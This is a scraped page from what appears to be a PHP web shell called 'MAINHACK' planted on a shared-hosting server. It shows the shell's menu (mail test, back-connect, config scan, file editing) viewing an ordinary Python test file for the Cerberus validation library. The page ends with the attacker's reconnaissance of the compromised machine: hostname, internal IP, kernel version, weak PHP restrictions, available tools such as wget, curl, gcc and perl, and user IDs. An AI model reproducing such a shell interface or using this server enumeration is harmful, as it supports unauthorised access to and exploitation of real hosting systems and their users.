[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: test_registries.py
File is not writable. Editing disabled.
# -*- coding: utf-8 -*- from cerberus import schema_registry, rules_set_registry, Validator from cerberus.tests import ( assert_fail, assert_normalized, assert_schema_error, assert_success, ) def test_schema_registry_simple(): schema_registry.add('foo', {'bar': {'type': 'string'}}) schema = {'a': {'schema': 'foo'}, 'b': {'schema': 'foo'}} document = {'a': {'bar': 'a'}, 'b': {'bar': 'b'}} assert_success(document, schema) def test_top_level_reference(): schema_registry.add('peng', {'foo': {'type': 'integer'}}) document = {'foo': 42} assert_success(document, 'peng') def test_rules_set_simple(): rules_set_registry.add('foo', {'type': 'integer'}) assert_success({'bar': 1}, {'bar': 'foo'}) assert_fail({'bar': 'one'}, {'bar': 'foo'}) def test_allow_unknown_as_reference(): rules_set_registry.add('foo', {'type': 'number'}) v = Validator(allow_unknown='foo') assert_success({0: 1}, {}, v) assert_fail({0: 'one'}, {}, v) def test_recursion(): rules_set_registry.add('self', {'type': 'dict', 'allow_unknown': 'self'}) v = Validator(allow_unknown='self') assert_success({0: {1: {2: {}}}}, {}, v) def test_references_remain_unresolved(validator): rules_set_registry.extend( (('boolean', {'type': 'boolean'}), ('booleans', {'valuesrules': 'boolean'})) ) validator.schema = {'foo': 'booleans'} assert 'booleans' == validator.schema['foo'] assert 'boolean' == rules_set_registry._storage['booleans']['valuesrules'] def test_rules_registry_with_anyof_type(): rules_set_registry.add('string_or_integer', {'anyof_type': ['string', 'integer']}) schema = {'soi': 'string_or_integer'} assert_success({'soi': 'hello'}, schema) def test_schema_registry_with_anyof_type(): schema_registry.add('soi_id', {'id': {'anyof_type': ['string', 'integer']}}) schema = {'soi': {'schema': 'soi_id'}} assert_success({'soi': {'id': 'hello'}}, schema) def test_normalization_with_rules_set(): # https://github.com/pyeve/cerberus/issues/283 rules_set_registry.add('foo', {'default': 42}) assert_normalized({}, {'bar': 42}, {'bar': 'foo'}) rules_set_registry.add('foo', {'default_setter': lambda _: 42}) assert_normalized({}, {'bar': 42}, {'bar': 'foo'}) rules_set_registry.add('foo', {'type': 'integer', 'nullable': True}) assert_success({'bar': None}, {'bar': 'foo'}) def test_rules_set_with_dict_field(): document = {'a_dict': {'foo': 1}} schema = {'a_dict': {'type': 'dict', 'schema': {'foo': 'rule'}}} # the schema's not yet added to the valid ones, so test the faulty first rules_set_registry.add('rule', {'tüpe': 'integer'}) assert_schema_error(document, schema) rules_set_registry.add('rule', {'type': 'integer'}) assert_success(document, schema)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A